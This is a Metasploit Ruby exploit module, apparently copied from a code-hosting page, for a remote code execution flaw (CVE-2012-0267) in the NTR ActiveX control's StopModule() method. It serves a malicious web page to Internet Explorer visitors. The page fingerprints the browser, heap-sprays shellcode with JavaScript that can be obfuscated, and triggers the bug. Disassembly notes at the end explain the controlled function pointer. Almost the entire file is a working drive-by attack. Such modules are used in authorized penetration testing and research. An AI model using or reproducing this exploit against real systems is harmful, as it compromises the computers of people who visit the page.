201 lines
6.9 KiB
Ruby
201 lines
6.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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#include Msf::Exploit::Remote::BrowserAutopwn
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#
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#autopwn_info({
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# :ua_name => HttpClients::IE,
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# :ua_minver => "6.0",
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# :ua_maxver => "7.0",
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# :javascript => true,
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# :os_name => OperatingSystems::Match::WINDOWS,
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# :classid => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",
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# :method => "StopModule",
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# :rank => NormalRanking
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#})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NTR ActiveX Control StopModule() Remote Code Execution',
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'Description' => %q{
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This module exploits a vulnerability found in the NTR ActiveX 1.1.8. The
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vulnerability exists in the StopModule() method, where the lModule parameter is
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used to dereference memory to get a function pointer, which leads to code execution
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under the context of the user visiting a malicious web page.
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},
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'Author' =>
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[
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'Carsten Eiram', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-0267' ],
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[ 'OSVDB', '78253' ],
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[ 'BID', '51374' ],
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[ 'URL', 'http://secunia.com/secunia_research/2012-2/' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
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},
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'BadChars' => ""
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# NTR ActiveX 1.1.8.0
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4'} ],
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[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4'} ],
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[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jan 11 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class
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)
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end
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def get_spray(t, js_code, js_nops)
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < 500; z++) {
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heap_obj.alloc(block);
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}
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JS
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return spray
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[3] #IE 7 on Windows Vista SP2
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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print_status("User-agent: #{agent}")
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have a setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent}")
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send_not_found(cli)
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return
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end
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p = payload.encoded
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js = get_spray(my_target, js_code, js_nops)
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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address = 0x0c0c0c0c / 0x134
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html = <<-MYHTML
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<html>
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<body>
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<object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object>
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<script>
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#{js}
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test.StopModule(#{address});
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</script>
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</body>
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</html>
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MYHTML
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html = html.gsub(/^ {4}/, '')
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print_status("Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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The pointer is "controlled" here:
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.text:10004449 mov eax, [ebp+arg_0] ; arg_0 is user controlled
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.text:1000444C imul eax, 134h ; it looks good
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.text:10004452 lea esi, [eax+edi] ; eax is user controlled
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.text:10004452 ; edi is a heap pointer initialized while activex loading
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.text:10004452 ; (Important note: the default heap isn't being used)
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.text:10004452 ;
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.text:10004452 ; edi:
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.text:10004452 ;
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.text:10004452 ; 0:000> !heap -p -a edi
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.text:10004452 ; address 01fb370c found in
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.text:10004452 ; _HEAP @ 1fb0000
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.text:10004452 ; HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
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.text:10004452 ; 01fb3668 0373 0000 [01] 01fb3670 01b90 - (busy)
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.text:10004452 ; ? ntractivex118!DllUnregisterServer+10d18
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.text:10004452 ;
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.text:10004452 ; Initialization (while activex loading):
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.text:10004452 ; ChildEBP RetAddr Args to Child
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.text:10004452 ; 00138510 02a4e147 00001b84 02a4e8fb 00001b84 ntdll!RtlAllocateHeap+0xeac
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.text:10004452 ; 00138548 02a4939e 00000000 7dc43038 00e057f8 ntractivex118!DllUnregisterServer+0x8823
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.text:10004452 ; 0013855c 7dea5401 02093628 00000000 7dc43038 ntractivex118!DllUnregisterServer+0x3a7a
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.text:10004452 ; 00138598 7deaa7f8 00e057f8 00e06154 80004005 mshtml!COleSite::InstantiateObjectFromCF+0x114
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And user to get RCE here:
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.text:1000446E mov eax, [esi+24h] ; esi can be user influenced
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.text:10004471 test eax, eax
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.text:10004473 jz short loc_10004477
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.text:10004475 call eax ; RCE!
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=end
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